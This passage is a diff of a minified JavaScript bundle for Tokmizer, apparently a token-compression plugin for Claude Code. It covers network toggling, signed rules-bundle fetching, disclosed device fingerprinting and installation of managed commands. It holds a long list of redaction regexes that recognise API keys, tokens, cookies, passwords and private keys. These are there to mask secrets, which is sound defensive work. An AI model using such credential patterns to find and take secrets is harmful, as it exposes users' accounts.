- `});import{existsSync as P0,mkdirSync as RM,rmSync as AM,writeFileSync as $M}from"node:fs";import{join as mf}from"node:path";function D0(){return mf(b(),"network-off")}function F0(){let e=process.env.TOKMIZER_NETWORK;return e!==void 0&&I0.has(e.trim().toLowerCase())}function ee(){return F0()?!1:!P0(D0())}function On(){if(!ee())throw new Jr}function gf(){return mf(b(),N0)}var I0,N0,M0,PM,Jr,Ue=y(()=>{"use strict";z();I0=new Set(["0","off","false","no"]),N0="network-notice-shown",M0="Network is off for Tokmizer. Turn it back on with: tkr network on",PM=["Tokmizer contacts tokmizer.com to keep its rules up to date and to improve the product. No account or email is needed.","It sends a random install ID, your computer name, OS and CPU model, a hash of your network card address and of your user name, and the plugin version. Command contents and output are never sent.","Usage stats (command names, token counts and install health counts) are sent only while they are on. Check with: tkr telemetry status.","Turn all network access off: tkr network off. Usage stats only: tkr telemetry off."].join(`
8
- `),Jr=class extends Error{constructor(){super(M0),this.name="NetworkDisabledError"}}});import{createHmac as L0,createPublicKey as H0,verify as j0}from"node:crypto";function Gr(){return df.replace(/\\n/g,`
9
- `)}function U0(e,t,n,r){try{let o=H0({key:r,format:"pem"});return j0(null,Buffer.from(`${t}.${e}`,"utf8"),o,Buffer.from(n,"base64url"))}catch{return!1}}async function on(e){let t=await e.text(),n=Gr(),r=e.headers?.get?.("x-tokmizer-resp-ts")??null;if(r!==null){let a=Number(r);if(!Number.isFinite(a)||Date.now()-a>B0||a-Date.now()>z0)throw new ft("http","stale server response (resp-ts outside freshness window)")}if(!n||!n.includes("BEGIN PUBLIC KEY"))throw new ft("http","no signing public key configured; refusing to trust server response");let o=e.headers?.get?.("x-tokmizer-resp-sig")??null,s=Number(r);if(!o||r===null||!Number.isFinite(s))throw new ft("http","missing server response signature");let i=e.headers?.get?.("x-tokmizer-resp-path")??null;if(i!==null&&i!==hf.get(e))throw new ft("http","server response signed for another path");if(!U0(i===null?t:`${i}.${t}`,s,o,n))throw new ft("http","invalid server response signature");return JSON.parse(t)}function J0(e,t,n,r,o){return L0("sha256",o).update(`${e}
7
+ `});import{existsSync as Y0,mkdirSync as hD,rmSync as yD,writeFileSync as kD}from"node:fs";import{join as yf}from"node:path";function t_(){return yf(b(),"network-off")}function n_(){let e=process.env.TOKMIZER_NETWORK;return e!==void 0&&X0.has(e.trim().toLowerCase())}function ee(){return n_()?!1:!Y0(t_())}function In(){if(!ee())throw new Gr}function kf(){return yf(b(),Q0)}var X0,Q0,e_,_D,Gr,Je=y(()=>{"use strict";U();X0=new Set(["0","off","false","no"]),Q0="network-notice-shown",e_="Network is off for Tokmizer. Turn it back on with: tkr network on",_D=["Tokmizer contacts tokmizer.com to keep its rules up to date and to improve the product. No account or email is needed.","It sends a random install ID, your computer name, OS and CPU model, a hash of your network card address and of your user name, and the plugin version. Command contents and output are never sent.","Usage stats (command names, token counts and install health counts) are sent only while they are on. Check with: tkr telemetry status.","Turn all network access off: tkr network off. Usage stats only: tkr telemetry off."].join(`
8
+ `),Gr=class extends Error{constructor(){super(e_),this.name="NetworkDisabledError"}}});import{createHmac as r_,createPublicKey as o_,verify as s_}from"node:crypto";function Zr(){return gf.replace(/\\n/g,`
9
+ `)}function l_(e,t,n,r){try{let o=o_({key:r,format:"pem"});return s_(null,Buffer.from(`${t}.${e}`,"utf8"),o,Buffer.from(n,"base64url"))}catch{return!1}}async function sn(e){let t=await e.text(),n=Zr(),r=e.headers?.get?.("x-tokmizer-resp-ts")??null;if(r!==null){let a=Number(r);if(!Number.isFinite(a)||Date.now()-a>i_||a-Date.now()>a_)throw new dt("http","stale server response (resp-ts outside freshness window)")}if(!n||!n.includes("BEGIN PUBLIC KEY"))throw new dt("http","no signing public key configured; refusing to trust server response");let o=e.headers?.get?.("x-tokmizer-resp-sig")??null,s=Number(r);if(!o||r===null||!Number.isFinite(s))throw new dt("http","missing server response signature");let i=e.headers?.get?.("x-tokmizer-resp-path")??null;if(i!==null&&i!==bf.get(e))throw new dt("http","server response signed for another path");if(!l_(i===null?t:`${i}.${t}`,s,o,n))throw new dt("http","invalid server response signature");return JSON.parse(t)}function c_(e,t,n,r,o){return r_("sha256",o).update(`${e}
10
10
  ${t}
11
11
  ${r}
12
- ${n}`).digest("hex")}function G0(e){let t=new URL(e);return`${t.pathname}${t.search}`}async function Je(e,t,n,r){On();let o=Date.now(),s=n===void 0?"":JSON.stringify(n),i=`${r.baseUrl}${t}`,a=r.signingSecret?J0(e,G0(i),s,o,r.signingSecret):"0".repeat(64),l={"content-type":"application/json","x-tokmizer-fingerprint":r.fingerprint,"x-tokmizer-install-id":r.installId,"x-tokmizer-sig":a,"x-tokmizer-ts":String(o),"x-tokmizer-plugin-version":he,"x-tokmizer-accept-resp-path":"1"};r.bearer&&(l.authorization=`Bearer ${r.bearer}`);let c=r.timeoutMs??5e3,u=e!=="GET"&&e!=="DELETE",f={method:e,headers:l,signal:AbortSignal.timeout(c)};u&&(f.body=s);let d;try{d=await fetch(i,f)}catch(p){let g=p.name;throw g==="TimeoutError"||g==="AbortError"?new ft("timeout",`${e} ${t} timed out after ${c}ms`):new ft("network",`${e} ${t} failed: ${p.message}`)}return d!==null&&typeof d=="object"&&hf.set(d,t.split("?")[0]),d}var B0,z0,hf,ft,Pn=y(()=>{"use strict";$t();pf();Ue();B0=300*1e3,z0=120*1e3;hf=new WeakMap;ft=class extends Error{constructor(n,r,o){super(r);this.kind=n;this.status=o;this.name="TransportError"}kind;status}});import{createCipheriv as jM,createDecipheriv as Z0,hkdfSync as K0,randomBytes as BM}from"node:crypto";function q0(e){return Buffer.from(K0("sha256",Buffer.from(e,"utf8"),W0,V0,32))}function ms(e,t){let n=q0(t),r=Buffer.from(e,"base64url"),o=r.subarray(0,12),s=r.subarray(12,28),i=r.subarray(28),a=Z0("aes-256-gcm",n,o);return a.setAuthTag(s),Buffer.concat([a.update(i),a.final()]).toString("utf8")}var W0,V0,Sa=y(()=>{"use strict";W0=Buffer.from("tokmizer-bundle-enc-v1"),V0=Buffer.from("rules-bundle")});import{chmodSync as Y0,readFileSync as X0,writeFileSync as Q0,mkdirSync as e_,renameSync as t_}from"node:fs";import{join as yf}from"node:path";function xa(){return yf(b(),"bundle-cache.json")}function kf(e){try{let t=b();e_(t,{recursive:!0});let n={...e,fetchedAt:Date.now()},r=yf(t,`bundle-cache.${process.pid}.tmp`);Q0(r,JSON.stringify(n),{mode:384}),t_(r,xa()),Y0(xa(),384)}catch{}}function bf(){try{let e=X0(xa(),"utf8"),t=n_.safeParse(JSON.parse(e));return t.success?t.data:null}catch{return null}}var n_,wf=y(()=>{"use strict";en();z();n_=k.object({payload:k.string().min(1),signature:k.string().min(1),enc:k.literal("v1"),fetchedAt:k.number().int().nonnegative()})});import{createPublicKey as r_,verify as o_}from"node:crypto";function hs(){let e=Number(process.env.TOKMIZER_MAX_BUNDLE_AGE_MS);return Number.isFinite(e)&&e>0?e:i_}function _f(e,t=Date.now()){return t-e.fetchedAt>hs()}function a_(e,t){let n=Gr();if(!n||!n.includes("BEGIN PUBLIC KEY"))throw new Error("tkr-daemon: no valid signing public key configured (set TOKMIZER_RESP_SIGNING_PUBLIC_KEY_PEM at build time).");let r=r_({key:n,format:"pem"});if(!o_(null,Buffer.from(e.payload,"utf8"),r,Buffer.from(e.signature,"base64url")))throw new Error("tkr-daemon: rules bundle signature invalid");return JSON.parse(ms(e.payload,t))}async function Sf(e,t,n){if(e instanceof gs&&(e.status===401||e.status===403))try{return await n.heartbeat(t),await n.fetchBundle(t)}catch(r){return n.log(`initial fetch failed after heartbeat: ${r.message}`),null}return n.log(`initial fetch failed: ${e.message}`),null}async function Ea(e){let t=await V();if(!t||!t.jwt)throw new Error("tkr-daemon: not activated (no JWT)");if(!t.signingSecret)throw new Error("tkr-daemon: not activated (no signing secret)");let n=await Je("GET","/api/v1/rules/bundle",void 0,{baseUrl:e,bearer:t.jwt,signingSecret:t.signingSecret,fingerprint:t.fingerprint??"0".repeat(64),installId:t.installId,timeoutMs:1e4});if(!n.ok)throw new gs(n.status);let r=s_.parse(await n.json()),o=xf(r,t.signingSecret);return kf(r),o}function xf(e,t){let n=a_(e,t),r=va.parse(n);if(Date.now()-r.signedAt>hs())throw new Error("tkr-daemon: rules bundle is stale");return Ta(r,{signedAt:r.signedAt,fetchedAt:Date.now()})}function Ta(e,t){let n=new Map;for(let r of e.filters)n.set(r.slug,{...r,matchRegex:new RegExp(r.match_command)});return{bundleVersion:e.bundleVersion,signedAt:t.signedAt,ruleCount:n.size,startedAt:Date.now(),fetchedAt:t.fetchedAt,selectFor:(r,o,s)=>Cn(r,n.values(),s?new Set(s):null,n)}}async function Zr(){try{let e=bf();if(!e)return null;let t=await V();return t?.signingSecret?xf(e,t.signingSecret):null}catch{return null}}var va,s_,i_,gs,In=y(()=>{"use strict";en();Lr();ds();ze();Pn();Sa();wf();va=k.object({bundleVersion:k.number().int().nonnegative(),signedAt:k.number().int(),filters:k.array(Tt)}),s_=k.object({payload:k.string().min(1),signature:k.string().min(1),enc:k.literal("v1")}),i_=10080*60*1e3;gs=class extends Error{status;constructor(t){super(`tkr-daemon: bundle fetch failed ${t}`),this.status=t}}});import Nn from"node:os";import{createHash as u_,createHmac as Tf,randomUUID as f_}from"node:crypto";import{readFile as Rf,writeFile as Af,mkdir as d_}from"node:fs/promises";async function ys(){try{let n=(await Rf(jr(),"utf8")).trim();if(/^[0-9a-f-]{36}$/i.test(n))return n}catch{}await d_(b(),{recursive:!0});let e=f_();try{return await Af(jr(),e,{mode:384,flag:"wx"}),e}catch{try{let t=(await Rf(jr(),"utf8")).trim();if(/^[0-9a-f-]{36}$/i.test(t))return t}catch{}return await Af(jr(),e,{mode:384}),e}}function Ra(e){return u_("sha256").update(e).digest("hex")}function p_(){let e=Nn.networkInterfaces();for(let t of Object.keys(e))for(let n of e[t]??[])if(!n.internal&&n.mac&&n.mac!=="00:00:00:00:00:00")return n.mac;return"no-mac"}async function dt(){let e=await ys(),t=Nn.hostname(),n=Nn.platform(),r=Nn.release(),o=Nn.cpus(),s=o[0]?.model??"unknown",i=o.length,a=p_(),l=Nn.userInfo().username,c=[t,n,r,s,String(i),Ra(a),Ra(l),e].join("|");return{fingerprint:Ra(c),installId:e,hostname:t,os:n,osVersion:r,cpuModel:s,cpuCores:i,macHash:Tf("sha256",e).update(a).digest("hex"),usernameHash:Tf("sha256",e).update(l).digest("hex")}}var Mn=y(()=>{"use strict";z()});var Uf={};ge(Uf,{STATIC_COMMAND_NAMES:()=>ks,commandInstalled:()=>zf,commandsInstallStatus:()=>I_,installCommand:()=>Pa,isFresh:()=>Ca,pruneCommands:()=>Ss,pruneSkills:()=>_s,readBundleRefresh:()=>N_,readSkill:()=>M_,recordBundleRefresh:()=>xs,writeSkill:()=>Oa});import{chmod as Aa,mkdir as bs,readFile as Kr,writeFile as ws,stat as $a,readdir as A_,rm as Ff}from"node:fs/promises";import{existsSync as $_}from"node:fs";import{dirname as C_}from"node:path";async function Hf(){try{let e=JSON.parse(await Kr(ha(),"utf8"));return Array.isArray(e)?e.filter(t=>typeof t=="string"):[]}catch{return[]}}async function jf(e){try{await bs(b(),{recursive:!0}),await ws(ha(),JSON.stringify(e),{mode:384})}catch{}}function Bf(){let e=Number(process.env.TOKMIZER_MAX_BUNDLE_AGE_MS);return Number.isFinite(e)&&e>0?Math.min(e,Df):Df}async function Ca(e){try{let t=await $a(De(e)),n=Date.now()-t.mtimeMs;return n<P_&&n<=Bf()}catch{return!1}}async function Oa(e,t){await bs(ls(),{recursive:!0}),await ws(De(e),t,{mode:384}),await Aa(De(e),384)}async function _s(e){let t=new Set(e),n;try{n=await A_(ls())}catch{return}for(let r of n){if(!r.endsWith(".md"))continue;let o=r.slice(0,-3);if(!t.has(o))try{await Ff(De(o))}catch{}}}async function Pa(e,t){if(!process.env.TOKMIZER_CLAUDE_COMMANDS_DIR&&!$_(C_(us())))return;await bs(us(),{recursive:!0});try{if(!(await Kr(tn(e),"utf8")).includes(Lf))return}catch{}await ws(tn(e),t,{mode:384}),await Aa(tn(e),384);let n=await Hf();n.includes(e)||await jf([...n,e])}async function Ss(e){let t=new Set([...e,...ks]),n=await Hf(),r=new Set([...n,...O_]);for(let o of r)if(!t.has(o))try{if(!(await Kr(tn(o),"utf8")).includes(Lf))continue;await Ff(tn(o))}catch{}await jf(n.filter(o=>t.has(o)))}async function I_(){let e=0;for(let t of ks)await zf(t)&&e++;return{installed:e,total:ks.length}}async function zf(e){try{return await $a(tn(e)),!0}catch{return!1}}async function xs(e){try{await bs(b(),{recursive:!0}),await ws(as(),JSON.stringify({at:Date.now(),error:e}),{mode:384}),await Aa(as(),384)}catch{}}async function N_(){try{return JSON.parse(await Kr(as(),"utf8"))}catch{return null}}async function M_(e){try{let t=await $a(De(e));return Date.now()-t.mtimeMs>Bf()?null:await Kr(De(e),"utf8")}catch{return null}}var Lf,ks,O_,P_,Df,Ia=y(()=>{"use strict";z();Lf="managed-by: tokmizer",ks=["tkr","tkr-gain","tkr-status","tkr-link","tkr-unlink","tkr-compression","tkr-telemetry","tkr-update","tkr-yolo"],O_=["power","tkr-reducer"];P_=3600*1e3,Df=10080*60*1e3});function sn(e){let t=e;for(let[n,r]of D_)t=t.replace(n,r);return t}function j_(e){if(!e.includes("PRIVATE KEY-----"))return e;let t=e.split(`
13
- `),n=[];for(let r of t){if(L_.test(r)){let o=n.length;for(;o>0&&H_.test(n[o-1]);)o-=1;if(o<n.length){n.length=o,n.push(`${Qe}${r}`);continue}}n.push(r)}return n.join(`
14
- `)}function vs(e){let t=e;for(let[n,r]of F_)t=t.replace(n,r);return j_(t)}var D_,Qe,F_,L_,H_,Wr=y(()=>{"use strict";D_=[[/(authorization\s*:\s*)([A-Za-z][A-Za-z0-9._-]*)\s+[^\s'"]+/gi,"$1$2 [REDACTED]"],[/(authorization\s*:\s*)[A-Za-z0-9._\-+/=]{8,}/gi,"$1[REDACTED]"],[/(bearer\s+)[A-Za-z0-9._\-+/=]{8,}/gi,"$1[REDACTED]"],[/((?:^|\s)(?:-b|--cookie)[=\s]+['"]?)[^\s'";=]+=[^\s'";]+(?:\s*;\s*[^\s'";=]+=[^\s'";]+)*/gi,"$1[REDACTED]"],[/((?:^|[\s'"])(?:Set-)?Cookie\s*:\s*)[^\s'";=]+=[^\s'";]+(?:\s*;\s*[^\s'";=]+=[^\s'";]+)*/gi,"$1[REDACTED]"],[/(--?(?:password|passwd|passphrase|apipass|pass|pwd|token|api[-_]?key|secret|bearer|cookie|jwt)(?:-[a-z0-9]+)*[=\s]+)\S+/gi,"$1[REDACTED]"],[/((?:^|\s)-b[=\s]?['"]?)[^\s'"=]+=[^\s'"]+/gi,"$1[REDACTED]"],[/((?:^|\s)(?:-u[=\s]?|(?:--user|-a)[=\s])['"]?[^\s:/'"]*:)(\/[^/\s'"][^\s'"]*|[^\s/'"0-9][^\s'"]*|[0-9][^\s'"]*[^\s'"0-9][^\s'"]*)/gi,"$1[REDACTED]"],[/((?:^|\s)(?:-u[=\s]?|(?:--user|-a)[=\s])['"]?[^\s:/'"]*[^\s:/'"0-9][^\s:/'"]*:)(?:\/[^/\s'"]|[^\s/'"])[^\s'"]*/gi,"$1[REDACTED]"],[/((?:^|\s)(?:-u[=\s]?|(?:--user|-a)[=\s])['"]?:)(?:\/[^/\s'"]|[^\s/'"])[^\s'"]*/gi,"$1[REDACTED]"],[/((?:[A-Za-z0-9]+-){0,8}(?:X-Api-Key|Private-Token|[A-Za-z0-9]+-(?:Token|Key|Auth|Secret))\s*:\s*)[^\s'"]+/gi,"$1[REDACTED]"],[/((?:^|[\s'"])(?:Set-)?Cookie\s*:\s*)[^\s'"]+/gi,"$1[REDACTED]"],[/(-i\s+)(\/[^\s]+|~\/[^\s]+|[A-Z]:\\[^\s]+)/g,"$1[REDACTED]"],[/([a-zA-Z][a-zA-Z0-9+.-]{0,31}:\/\/[^:/\s@]*:)[^\s@]+(@[^@/\s]+)/g,"$1[REDACTED]$2"],[/(AWS_(?:ACCESS_KEY_ID|SECRET_ACCESS_KEY|SESSION_TOKEN)\s*=\s*)\S+/g,"$1[REDACTED]"],[/(GOOGLE_APPLICATION_CREDENTIALS\s*=\s*)\S+/g,"$1[REDACTED]"],[/(AZURE_(?:CLIENT_SECRET|TENANT_ID|CLIENT_ID)\s*=\s*)\S+/g,"$1[REDACTED]"],[/(sk-(?:proj-)?[A-Za-z0-9_-]{20,})/g,"sk-[REDACTED]"],[/\b(OPENAI_API_KEY\s*=\s*)\S+/g,"$1[REDACTED]"],[/\b(ANTHROPIC_API_KEY\s*=\s*)\S+/g,"$1[REDACTED]"],[/(sk-ant-[A-Za-z0-9_-]{20,})/g,"sk-ant-[REDACTED]"],[/\b(GH(?:_|ITHUB_)?TOKEN\s*=\s*)\S+/g,"$1[REDACTED]"],[/\b(GITLAB_TOKEN\s*=\s*)\S+/g,"$1[REDACTED]"],[/\b(SLACK_(?:BOT_)?TOKEN\s*=\s*)\S+/g,"$1[REDACTED]"],[/(xox[bpsoa]-[A-Za-z0-9-]{10,})/g,"xox[REDACTED]"],[/(xapp-[A-Za-z0-9-]{10,})/g,"[REDACTED]"],[/(sk_(?:test|live)_[A-Za-z0-9]{16,})/g,"sk_[REDACTED]"],[/(gh[a-z])_[A-Za-z0-9]{20,}/g,"$1_[REDACTED]"],[/(github_pat)_[A-Za-z0-9_]{20,}/g,"$1_[REDACTED]"],[/(gl(?:pat|rt|soat|imt|dt|ft|agent|oas|cbt|ptt))-[A-Za-z0-9_-]{16,}/g,"$1-[REDACTED]"],[/(npm_[A-Za-z0-9_-]{20,})/g,"npm_[REDACTED]"],[/(?:AKIA|ASIA|AGPA|AIDA|AROA|ANPA)[0-9A-Z]{16,}/g,"[REDACTED_AWS_KEY]"],[/AIza[A-Za-z0-9_-]{35}/g,"[REDACTED_GOOGLE_KEY]"],[/hv[sb]\.[A-Za-z0-9_-]{20,}/g,"[REDACTED_VAULT_TOKEN]"],[/dop_v1_[A-Za-z0-9]{40,}/g,"[REDACTED]"],[/dckr_pat_[A-Za-z0-9_-]{20,}/g,"[REDACTED]"],[/pypi-[A-Za-z0-9_-]{16,}/g,"[REDACTED]"],[/rk_(?:live|test)_[A-Za-z0-9]{16,}/g,"[REDACTED]"],[/whsec_[A-Za-z0-9]{16,}/g,"[REDACTED]"],[/SG\.[A-Za-z0-9_-]{20,}\.[A-Za-z0-9_-]{20,}/g,"[REDACTED]"],[/(eyJ[A-Za-z0-9_-]{6,}(?:\.[A-Za-z0-9_-]{4,}){1,2})/g,"[REDACTED_JWT]"],[/-----BEGIN [A-Z ]*PRIVATE KEY-----(?:[\s\S]*?-----END[^\n]*-----|\r?\n[A-Za-z0-9+/=][A-Za-z0-9+/=\r\n]*)?/g,"[REDACTED_PEM]"],[/\b((?:--?)?[A-Za-z0-9_]*(?:TOKEN|SECRET|PASSWORD|PASSWD|PASS|APIKEY|KEY|CRED|CREDS|CREDENTIAL|CREDENTIALS|AUTH|_PWD)[A-Za-z0-9_]*['"]?\s*=\s*)(?:"[^"]*"|'[^']*'|[^"'\s]\S*)/gi,"$1[REDACTED]"],[/\b([A-Za-z0-9_]*(?:TOKEN|SECRET|PASSWORD|PASSWD|PASS|APIKEY|KEY|CRED|CREDS|CREDENTIAL|CREDENTIALS|_PWD)[A-Za-z0-9_]*['"]?\s*:\s*)(?:"[^"]*"|'[^']*'|[^\s'",}]+)/gi,"$1[REDACTED]"],[/((?:^|[\s'"{,])['"]?(?:[A-Za-z0-9_]+_)?auth['"]?\s*:\s*)(?:"[^"]*"|'[^']*'|[^\s'",}]+)/gi,"$1[REDACTED]"],[/(\bpwd\s*[=:]\s*)(?:"[^"]*"|'[^']*'|[^/~\s][^\s;'"]*)/gi,"$1[REDACTED]"],[/([=:]\s*["']?)[A-Za-z0-9_\-+/=]{40,}/g,"$1[REDACTED]"]];Qe="[tkr: secret masked]",F_=[[/(-----BEGIN [A-Z0-9 ]*PRIVATE KEY-----)(?:\r?\n(?:[A-Za-z0-9+/=]{16,}|[A-Za-z-]+: [^\r\n]*|\r?(?=\n)))*(?:(?:\r?\n[A-Za-z0-9+/=]{1,15})?\r?\n-----END [A-Z0-9 ]*PRIVATE KEY-----)?/g,`$1${Qe}`],[/(?<![A-Za-z0-9_])(gh[pousr])_[A-Za-z0-9]{36,255}(?![A-Za-z0-9])/g,`$1_${Qe}`],[/(?<![A-Za-z0-9_])github_pat_[A-Za-z0-9_]{22,255}/g,`github_pat_${Qe}`],[/(?<![A-Za-z0-9_])npm_[A-Za-z0-9]{36}(?![A-Za-z0-9])/g,`npm_${Qe}`],[/(?<![A-Z0-9])(AKIA|ASIA)[A-Z0-9]{16}(?![A-Z0-9])/g,`$1${Qe}`],[/(?<![A-Za-z0-9])(xox[abpors]-)[A-Za-z0-9-]{10,}/g,`$1${Qe}`],[/(?<![A-Za-z0-9])((?:sk|rk)_live_)[A-Za-z0-9]{16,}/g,`$1${Qe}`],[/(authorization["']?\s*[:=]\s*["']?bearer\s+)[A-Za-z0-9._~+/=-]{8,}/gi,`$1${Qe}`],[/(?<![A-Za-z0-9+.-])([a-zA-Z][a-zA-Z0-9+.-]{0,31}:\/\/[^\s:/@]*:)[^\s@/]+(@[^\s@/]+)/g,`$1${Qe}$2`]],L_=/^-----END [A-Z0-9 ]*PRIVATE KEY-----/,H_=/^[A-Za-z0-9+/=]{16,}\r?$/});var Dn,Es=y(()=>{"use strict";Dn="[tkr: partial view; folded or omitted lines are not file text. Read with offset/limit for the exact lines before Edit or Write]"});import{readFileSync as B_}from"node:fs";import{join as z_}from"node:path";function Ce(){try{return B_(z_(b(),"yolo-mode"),"utf8")==="on"}catch{return!1}}var Vr=y(()=>{"use strict";z()});import{chmod as Vf,mkdir as U_,readFile as UD,writeFile as Jf,stat as J_,readdir as G_,rm as Fn,rename as Z_}from"node:fs/promises";import{existsSync as K_,readFileSync as W_,realpathSync as V_}from"node:fs";import{createHash as q_}from"node:crypto";import{dirname as Gf,join as qr,resolve as Zf}from"node:path";function Qf(){try{let e=JSON.parse(W_(Xu(),"utf8")),t=e.maxAgeDays;return{...typeof t=="number"&&Number.isFinite(t)&&t>0?{maxAgeDays:Math.min(t,365)}:{},...e.disabled===!0?{disabled:!0}:{}}}catch{return{}}}function ed(){let e=Qf().maxAgeDays;return e?e*qf:Y_}function Ln(e,t,n=process.env){let r=Number(n[e]);return Number.isFinite(r)&&r>0?r:t}function td(e=process.env){return{maxAgeMs:Ln("TOKMIZER_CCR_MAX_AGE_MS",ed(),e),maxBytes:Ln("TOKMIZER_CCR_DIR_CAP_BYTES",Yf,e),entryMaxBytes:Ln("TOKMIZER_CCR_ENTRY_MAX_BYTES",Xf,e)}}function Q_(e){return`${ga(e)}${Yr}`}async function Kf(e){await U_(e,{recursive:!0,mode:448});try{await Vf(e,448)}catch{}}function eS(e=process.cwd()){let t;try{t=V_(Zf(e))}catch{t=Zf(e)}for(let n=t;;n=Gf(n)){if(K_(qr(n,".git")))return n;if(Gf(n)===n)return t}}function tS(e){return e===""?[]:(e.endsWith(`
12
+ ${n}`).digest("hex")}function u_(e){let t=new URL(e);return`${t.pathname}${t.search}`}async function Ge(e,t,n,r){In();let o=Date.now(),s=n===void 0?"":JSON.stringify(n),i=`${r.baseUrl}${t}`,a=r.signingSecret?c_(e,u_(i),s,o,r.signingSecret):"0".repeat(64),l={"content-type":"application/json","x-tokmizer-fingerprint":r.fingerprint,"x-tokmizer-install-id":r.installId,"x-tokmizer-sig":a,"x-tokmizer-ts":String(o),"x-tokmizer-plugin-version":ye,"x-tokmizer-accept-resp-path":"1"};r.bearer&&(l.authorization=`Bearer ${r.bearer}`);let c=r.timeoutMs??5e3,u=e!=="GET"&&e!=="DELETE",f={method:e,headers:l,signal:AbortSignal.timeout(c)};u&&(f.body=s);let d;try{d=await fetch(i,f)}catch(m){let g=m.name;throw g==="TimeoutError"||g==="AbortError"?new dt("timeout",`${e} ${t} timed out after ${c}ms`):new dt("network",`${e} ${t} failed: ${m.message}`)}return d!==null&&typeof d=="object"&&bf.set(d,t.split("?")[0]),d}var i_,a_,bf,dt,Pn=y(()=>{"use strict";Ct();hf();Je();i_=300*1e3,a_=120*1e3;bf=new WeakMap;dt=class extends Error{constructor(n,r,o){super(r);this.kind=n;this.status=o;this.name="TransportError"}kind;status}});import{createCipheriv as $D,createDecipheriv as f_,hkdfSync as d_,randomBytes as CD}from"node:crypto";function g_(e){return Buffer.from(d_("sha256",Buffer.from(e,"utf8"),m_,p_,32))}function gs(e,t){let n=g_(t),r=Buffer.from(e,"base64url"),o=r.subarray(0,12),s=r.subarray(12,28),i=r.subarray(28),a=f_("aes-256-gcm",n,o);return a.setAuthTag(s),Buffer.concat([a.update(i),a.final()]).toString("utf8")}var m_,p_,xa=y(()=>{"use strict";m_=Buffer.from("tokmizer-bundle-enc-v1"),p_=Buffer.from("rules-bundle")});import{chmodSync as h_,readFileSync as y_,writeFileSync as k_,mkdirSync as b_,renameSync as w_}from"node:fs";import{join as wf}from"node:path";function Ea(){return wf(b(),"bundle-cache.json")}function _f(e){try{let t=b();b_(t,{recursive:!0,mode:448});let n={...e,fetchedAt:Date.now()},r=wf(t,`bundle-cache.${process.pid}.tmp`);k_(r,JSON.stringify(n),{mode:384}),w_(r,Ea()),h_(Ea(),384)}catch{}}function Sf(){try{let e=y_(Ea(),"utf8"),t=__.safeParse(JSON.parse(e));return t.success?t.data:null}catch{return null}}var __,xf=y(()=>{"use strict";tn();U();__=k.object({payload:k.string().min(1),signature:k.string().min(1),enc:k.literal("v1"),fetchedAt:k.number().int().nonnegative()})});import{createPublicKey as S_,verify as x_}from"node:crypto";function ys(){let e=Number(process.env.TOKMIZER_MAX_BUNDLE_AGE_MS);return Number.isFinite(e)&&e>0?e:v_}function Ef(e,t=Date.now()){return t-e.fetchedAt>ys()}function T_(e,t){let n=Zr();if(!n||!n.includes("BEGIN PUBLIC KEY"))throw new Error("tkr-daemon: no valid signing public key configured (set TOKMIZER_RESP_SIGNING_PUBLIC_KEY_PEM at build time).");let r=S_({key:n,format:"pem"});if(!x_(null,Buffer.from(e.payload,"utf8"),r,Buffer.from(e.signature,"base64url")))throw new Error("tkr-daemon: rules bundle signature invalid");return JSON.parse(gs(e.payload,t))}async function vf(e,t,n){if(e instanceof hs&&(e.status===401||e.status===403))try{return await n.heartbeat(t),await n.fetchBundle(t)}catch(r){return n.log(`initial fetch failed after heartbeat: ${r.message}`),null}return n.log(`initial fetch failed: ${e.message}`),null}async function Ta(e){let t=await q();if(!t||!t.jwt)throw new Error("tkr-daemon: not activated (no JWT)");if(!t.signingSecret)throw new Error("tkr-daemon: not activated (no signing secret)");let n=await Ge("GET","/api/v1/rules/bundle",void 0,{baseUrl:e,bearer:t.jwt,signingSecret:t.signingSecret,fingerprint:t.fingerprint??"0".repeat(64),installId:t.installId,timeoutMs:1e4});if(!n.ok)throw new hs(n.status);let r=E_.parse(await n.json()),o=Tf(r,t.signingSecret);return _f(r),o}function Tf(e,t){let n=T_(e,t),r=va.parse(n);if(Date.now()-r.signedAt>ys())throw new Error("tkr-daemon: rules bundle is stale");return Ra(r,{signedAt:r.signedAt,fetchedAt:Date.now()})}function Ra(e,t){let n=new Map;for(let r of e.filters)n.set(r.slug,{...r,matchRegex:new RegExp(r.match_command)});return{bundleVersion:e.bundleVersion,signedAt:t.signedAt,ruleCount:n.size,startedAt:Date.now(),fetchedAt:t.fetchedAt,selectFor:(r,o,s)=>On(r,n.values(),s?new Set(s):null,n)}}async function Kr(){try{let e=Sf();if(!e)return null;let t=await q();return t?.signingSecret?Tf(e,t.signingSecret):null}catch{return null}}var va,E_,v_,hs,Nn=y(()=>{"use strict";tn();Hr();ms();Ue();Pn();xa();xf();va=k.object({bundleVersion:k.number().int().nonnegative(),signedAt:k.number().int(),filters:k.array(Rt)}),E_=k.object({payload:k.string().min(1),signature:k.string().min(1),enc:k.literal("v1")}),v_=10080*60*1e3;hs=class extends Error{status;constructor(t){super(`tkr-daemon: bundle fetch failed ${t}`),this.status=t}}});import Mn from"node:os";import{createHash as C_,createHmac as $f,randomUUID as O_}from"node:crypto";import{readFile as Cf,writeFile as Of,mkdir as I_}from"node:fs/promises";async function ks(){try{let n=(await Cf(Br(),"utf8")).trim();if(/^[0-9a-f-]{36}$/i.test(n))return n}catch{}await I_(b(),{recursive:!0,mode:448});let e=O_();try{return await Of(Br(),e,{mode:384,flag:"wx"}),e}catch{try{let t=(await Cf(Br(),"utf8")).trim();if(/^[0-9a-f-]{36}$/i.test(t))return t}catch{}return await Of(Br(),e,{mode:384}),e}}function Aa(e){return C_("sha256").update(e).digest("hex")}function P_(){let e=Mn.networkInterfaces();for(let t of Object.keys(e))for(let n of e[t]??[])if(!n.internal&&n.mac&&n.mac!=="00:00:00:00:00:00")return n.mac;return"no-mac"}async function mt(){let e=await ks(),t=Mn.hostname(),n=Mn.platform(),r=Mn.release(),o=Mn.cpus(),s=o[0]?.model??"unknown",i=o.length,a=P_(),l=Mn.userInfo().username,c=[t,n,r,s,String(i),Aa(a),Aa(l),e].join("|");return{fingerprint:Aa(c),installId:e,hostname:t,os:n,osVersion:r,cpuModel:s,cpuCores:i,macHash:$f("sha256",e).update(a).digest("hex"),usernameHash:$f("sha256",e).update(l).digest("hex")}}var Dn=y(()=>{"use strict";U()});var Vf={};he(Vf,{STATIC_COMMAND_NAMES:()=>bs,commandInstalled:()=>Wf,commandsInstallStatus:()=>rS,installCommand:()=>Pa,isFresh:()=>Oa,pruneCommands:()=>xs,pruneSkills:()=>Ss,readBundleRefresh:()=>oS,readSkill:()=>sS,recordBundleRefresh:()=>Es,writeSkill:()=>Ia});import{chmod as $a,mkdir as ws,readFile as 